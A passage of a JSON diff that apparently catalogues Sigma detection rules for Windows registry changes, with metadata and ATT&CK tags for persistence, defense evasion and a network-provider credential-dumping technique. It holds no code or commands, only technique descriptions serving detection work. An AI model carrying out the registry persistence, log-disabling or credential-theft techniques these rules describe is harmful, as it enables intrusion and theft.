registration of IFilters by the OS or software" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the addition of new root, CA or AuthRoot certificates to the Windows registry", + "uuid": "d223b46b-5621-4037-88fe-fda32eead684", + "value": "New Root or CA or AuthRoot Certificate to Store", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store", + "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificat.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2022/04/04", + "filename": "registry_set_install_root_or_ca_certificat.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any\nanomalous executables with suspicious arguments. The downloaded file will be in C:\\Users\\redacted\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdaterreSignInSettingsConfig.json\n", + "uuid": "3aff0be0-7802-4a7e-a4fa-c60c74bc5e1d", + "value": "Lolbas OneDriveStandaloneUpdater.exe Proxy Download", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/05/28", + "filename": "registry_set_lolbin_onedrivestandaloneupdater.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker modifies the \"REG_MULTI_SZ\" value named \"Extensions\" to include a custom DLL to achieve persistence via lsass.\nThe \"Extensions\" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.\n", + "uuid": "41f6531d-af6e-4c6e-918f-b946f2b85a36", + "value": "Persistence Via LSA Extensions", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/lsaaextension.html", + "https://twitter.com/0gtweet/status/1476286368385019906", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa_extension_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_lsa_extension_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", + "uuid": "42f0e038-767e-4b85-9d96-2c6335bad0b5", + "value": "Adwind RAT / JRAT", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", + "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_adwind.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2017/11/10", + "filename": "registry_set_mal_adwind.yml", + "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Attempts to detect system changes made by Blue Mockingbird", + "uuid": "92b0b372-a939-44ed-a11b-5136cf680e27", + "value": "Blue Mockingbird", + "meta": { + "refs": [ + "https://redcanary.com/blog/blue-mockingbird-cryptominer/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_blue_mockingbird.yml" + ], + "tags": [ + "attack.execution", + "attack.t1112", + "attack.t1047" + ], + "creation_date": "2020/05/14", + "filename": "registry_set_mal_blue_mockingbird.yml", + "author": "Trent Liffick (@tliffick)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", + "uuid": "92772523-d9c1-4c93-9547-b0ca500baba3", + "value": "Persistence Via Mpnotify", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/mpnotify.html", + "https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mpnotify_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_mpnotify_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Might trigger if a legitimate new SIP provider is registered. But this is not a common occurrence in an environment and should be investigated either way" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.", + "uuid": "60936b49-fca0-4f32-993d-7415edcf9a5d", + "value": "New Application in AppCompat", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/1", + "https://threathunterplaybook.com/evals/apt29/detections/1.A.1_DFD6A782-9BDB-4550-AB6B-525E825B095E.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_application_appcompat.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/05/02", + "filename": "registry_set_new_application_appcompat.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "informational", + "falsepositive": [ + "This rule is to explore new applications on an endpoint. False positives depends on the organization.", + "Newly setup system.", + "Legitimate installation of new application." + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", + "uuid": "0442defa-b4a2-41c9-ae2c-ea7042fc4701", + "value": "New Network Provider - Registry", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", + "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_network_provider.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2022/08/23", + "filename": "registry_set_new_network_provider.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Other legitimate network providers used and not filtred in this rule" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.", + "uuid": "63647769-326d-4dde-a419-b925cc0caf42", + "value": "Enable Microsoft Dynamic Data Exchange", + "meta": { + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/ADV170021", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_enable_dde.yml" + ], + "tags": [ + "attack.execution", + "attack.t1559.002" + ], + "creation_date": "2022/02/26", + "filename": "registry_set_office_enable_dde.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry changes to Office macro settings. The TrustRecords contain information on executed macro-enabled documents. (see references)", + "uuid": "a166f74e-bf44-409d-b9ba-ea4b2dd8b3cd", + "value": "Office Security Settings Changed", + "meta": { + "refs": [ + "https://twitter.com/inversecos/status/1494174785621819397", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", + "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/05/22", + "filename": "registry_set_office_security.yml", + "author": "Trent Liffick (@tliffick)", + "level": "high", + "falsepositive": [ + "Valid Macros and/or internal documents" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.", + "uuid": "9d15044a-7cfe-4d23-8085-6ebc11df7685", + "value": "Stealthy VSTO Persistence", + "meta": { + "refs": [ + "https://twitter.com/_vivami/status/1347925307643355138", + "https://vanmieghem.io/stealth-outlook-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_vsto_persistence.yml" + ], + "tags": [ + "attack.t1137.006", + "attack.persistence" + ], + "creation_date": "2021/01/10", + "filename": "registry_set_office_vsto_persistence.yml", + "author": "Bhabesh Raj", + "level": "medium", + "falsepositive": [ + "Legitimate Addin Installation" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the modification of Outlook Security Setting to allow unprompted execution. Goes with win_outlook_c2_macro_creation.yml and is particularly interesting if both events occur near to each other.", + "uuid": "e3b50fa5-3c3f-444e-937b-0a99d33731cd", + "value": "Outlook C2 Registry Key", + "meta": { + "refs": [ + "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_c2_registry_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.command_and_control", + "attack.t1137", + "attack.t1008", + "attack.t1546" + ], + "creation_date": "2021/04/05", + "filename": "registry_set_outlook_c2_registry_key.yml", + "author": "@ScoubiMtl", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the manipulation of persistent URLs which could execute malicious code", + "uuid": "487bb375-12ef-41f6-baae-c6a1572b4dd1", + "value": "Persistent Outlook Landing Pages", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_todaypage.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1112" + ], + "creation_date": "2021/06/10", + "filename": "registry_set_outlook_registry_todaypage.yml", + "author": "Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the manipulation of persistent URLs which can be malicious", + "uuid": "ddd171b5-2cc6-4975-9e78-f0eccd08cc76", + "value": "Persistent Outlook Landing Pages", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", + "https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9dbed9bd04?ui=en-us&rs=en-us&ad=us", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_webview.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1112" + ], + "creation_date": "2021/06/09", + "filename": "registry_set_outlook_registry_webview.yml", + "author": "Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Change outlook email security settings", + "uuid": "c3cefdf4-6703-4e1c-bad8-bf422fc5015a", + "value": "Change Outlook Security Setting in Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137/T1137.md", + "https://docs.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_security.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137" + ], + "creation_date": "2021/12/28", + "filename": "registry_set_outlook_security.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential persistence using Appx DebugPath", + "uuid": "df4dc653-1029-47ba-8231-3c44238cc0ae", + "value": "Windows Registry Persistence DebugPath", + "meta": { + "refs": [ + "https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/", + "https://github.com/rootm0s/WinPwnage", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_appx_debugger.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2022/07/27", + "filename": "registry_set_persistence_appx_debugger.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects change the the \"AutodialDLL\" key which could be used as a persistence method to load custom DLL via the \"ws2_32\" library", + "uuid": "e6fe26ee-d063-4f5b-b007-39e90aaf50e3", + "value": "Persistence Via AutodialDLL", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/", + "https://persistence-info.github.io/Data/autodialdll.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_autodial_dll.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/10", + "filename": "registry_set_persistence_autodial_dll.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential COM object hijacking where the \"Server\" (In/Out) is pointing to a supsicious or unsuale location", + "uuid": "3d968d17-ffa4-4bc0-bfdc-f139de76ce77", + "value": "COM Hijacking For Persistence With Suspicious Locations", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_susp_locations.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2022/07/28", + "filename": "registry_set_persistence_com_hijacking_susp_locations.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Probable legitimate applications. If you find these please add them to an exclusion list" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification to the \"Default\" value of the \"MyComputer\" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)", + "uuid": "8fbe98a8-8f9d-44f8-aa71-8c572e29ef06", + "value": "Persistence Via MyComputer Key and SubKeys", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mycomputer.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/09", + "filename": "registry_set_persistence_mycomputer.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely but if you experience FPs add specific processes and locations you would like to monitor for" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential COM object hijacking leveraging the COM Search Order", + "uuid": "a0ff33d8-79e4-4cef-b4f3-9dc4133ccd12", + "value": "Windows Registry Persistence COM Search Order Hijacking", + "meta": { + "refs": [ + "https://www.cyberbit.com/blog/endpoint-security/com-hijacking-windows-overlooked-security-vulnerability/", + "https://attack.mitre.org/techniques/T1546/015/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_search_order.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2020/04/14", + "filename": "registry_set_persistence_search_order.yml", + "author": "Maxime Thiebaut (@0xThiebaut), oscd.community, C\u00e9dric Hien", + "level": "medium", + "falsepositive": [ + "Some installed utilities (i.e. OneDrive) may serve new COM objects at user-level" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt", + "uuid": "086ae989-9ca6-4fe7-895a-759c5544f247", + "value": "Persistence Via TypedPaths", + "meta": { + "refs": [ + "https://twitter.com/dez_/status/1560101453150257154", + "https://forensafe.com/blogs/typedpaths.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_typed_paths.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/22", + "filename": "registry_set_persistence_typed_paths.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)", + "uuid": "a9b6c011-ab69-4ddb-bc0a-c4f21c80ec47", + "value": "Modify Attachment Manager Settings - Associations", + "meta": { + "refs": [ + "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_associations_tamper.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/08/01", + "filename": "registry_set_policies_associations_tamper.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering with attachment manager settings policies attachments (See reference for more information)", + "uuid": "ee77a5db-b0f3-4be2-bfd4-b58be1c6b15a", + "value": "Modify Attachment Manager Settings - Attachments", + "meta": { + "refs": [ + "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_attachments_tamper.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/08/01", + "filename": "registry_set_policies_attachments_tamper.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects that a powershell code is written to the registry as a service.", + "uuid": "4a5f5a5e-ac01-474b-9b4e-d61298c9df1d", + "value": "PowerShell as a Service in Registry", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_as_service.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2020/10/06", + "filename": "registry_set_powershell_as_service.yml", + "author": "oscd.community, Natalia Shornikova", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Adds a RUN key that contains a powershell keyword", + "uuid": "8d85cf08-bf97-4260-ba49-986a2a65129c", + "value": "Powershell in Windows Run Keys", + "meta": { + "refs": [ + "https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry", + "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_in_run_keys.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.001" + ], + "creation_date": "2022/03/17", + "filename": "registry_set_powershell_in_run_keys.yml", + "author": "frack113, Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate admin or third party scripts" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the modification of the registry of the currently logged in user to disable PowerShell module logging, script block logging or transcription and script execution logging", + "uuid": "fecfd1a1-cc78-4313-a1ea-2ee2e8ec27a7", + "value": "PowerShell Logging Disabled", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-32---windows-powershell-logging-disabled", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2022/04/02", + "filename": "registry_set_powershell_logging_disabled.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a new custom protocole handler is registered", + "uuid": "fdbf0b9d-0182-4c43-893b-a1eaab92d085", + "value": "Newly Registered Protocol Handler", + "meta": { + "refs": [ + "https://ladydebug.com/blog/2019/06/21/custom-protocol-handler-cph/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_register_custom_protocol_handler.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/05/30", + "filename": "registry_set_register_custom_protocol_handler.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate applications registering a new custom protocol handler" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects non-sysinternals tools setting the \"accepteula\" key which normally is set on sysinternals tool execution", + "uuid": "8023f872-3f1d-4301-a384-801889917ab4", + "value": "Usage of Renamed Sysinternals Tools - RegistrySet", + "meta": { + "refs": [ + "Internal Research", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_renamed_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ], + "creation_date": "2022/08/24", + "filename": "registry_set_renamed_sysinternals_eula_accepted.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute", + "uuid": "fe20dda1-6f37-4379-bbe0-a98d400cae90", + "value": "Scrobj.dll COM Hijacking", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scrobj_dll_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2022/08/20", + "filename": "registry_set_scrobj_dll_persistence.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use of the dll." + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl", + "uuid": "40b6e656-4e11-4c0c-8772-c1cc6dae34ce", + "value": "ScreenSaver Registry Key Set", + "meta": { + "refs": [ + "https://twitter.com/VakninHai/status/1517027824984547329", + "https://twitter.com/pabraeken/status/998627081360695297", + "https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2022/05/04", + "filename": "registry_set_scr_file_executed_by_rundll32.yml", + "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", + "level": "medium", + "falsepositive": [ + "Legitimate use of screen saver" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects changes to the \"ServiceDLL\" value related to a service in the registry. This is often used as a method of persistence.", + "uuid": "612e47e9-8a59-43a6-b404-f48683f45bd6", + "value": "ServiceDll Hijack", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md#atomic-test-4---tinyturla-backdoor-service-w64time", + "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_servicedll_hijack.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1543.003" + ], + "creation_date": "2022/02/04", + "filename": "registry_set_servicedll_hijack.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrative scripts", + "Installation of a service" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry modifications that disable internal tools or functions in explorer (malware like Agent Tesla uses this technique)", + "uuid": "1c3121ed-041b-4d97-a075-07f54f20fb4a", + "value": "Registry Explorer Policy Modification", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_set_nopolicies_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/03/18", + "filename": "registry_set_set_nopolicies_user.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate admin script" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time\n", + "uuid": "dfb5b4e8-91d0-4291-b40a-e3b0d3942c45", + "value": "Registry Key Creation or Modification for Shim DataBase", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb", + "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_shim_databases_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.011" + ], + "creation_date": "2021/12/30", + "filename": "registry_set_shim_databases_persistence.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects changes to the Registry in which a monitor program gets registered to monitor the exit of another process", + "uuid": "c81fe886-cac0-4913-a511-2822d72ff505", + "value": "SilentProcessExit Monitor Registration", + "meta": { + "refs": [ + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_silentprocessexit.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.012" + ], + "creation_date": "2021/02/26", + "filename": "registry_set_silentprocessexit.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", + "uuid": "5a2b21ee-6aaa-4234-ac9d-59a59edf90a1", + "value": "Persistence Via New SIP Provider", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/codesigning.html", + "https://github.com/gtworek/PSBits/tree/master/SIP", + "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sip_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1553.003" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_sip_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate SIP being registered by the OS or different software." + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tamper attempts to sophos av functionality via registry key modification", + "uuid": "9f4662ac-17ca-43aa-8f12-5d7b989d0101", + "value": "Tamper With Sophos AV Registry Keys", + "meta": { + "refs": [ + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sophos_av_tamaper.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/09/02", + "filename": "registry_set_sophos_av_tamaper.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Some FP may occure when the feature is disabled by the AV itself, you should always investigate if the action was legitimate" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker set the registry key \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" to \"0\" in order to hide user account.", + "uuid": "f8aebc67-a56d-4ec9-9fbe-7b0e8b7b4efd", + "value": "Hide User Account Via Special Accounts Reg Key", + "meta": { + 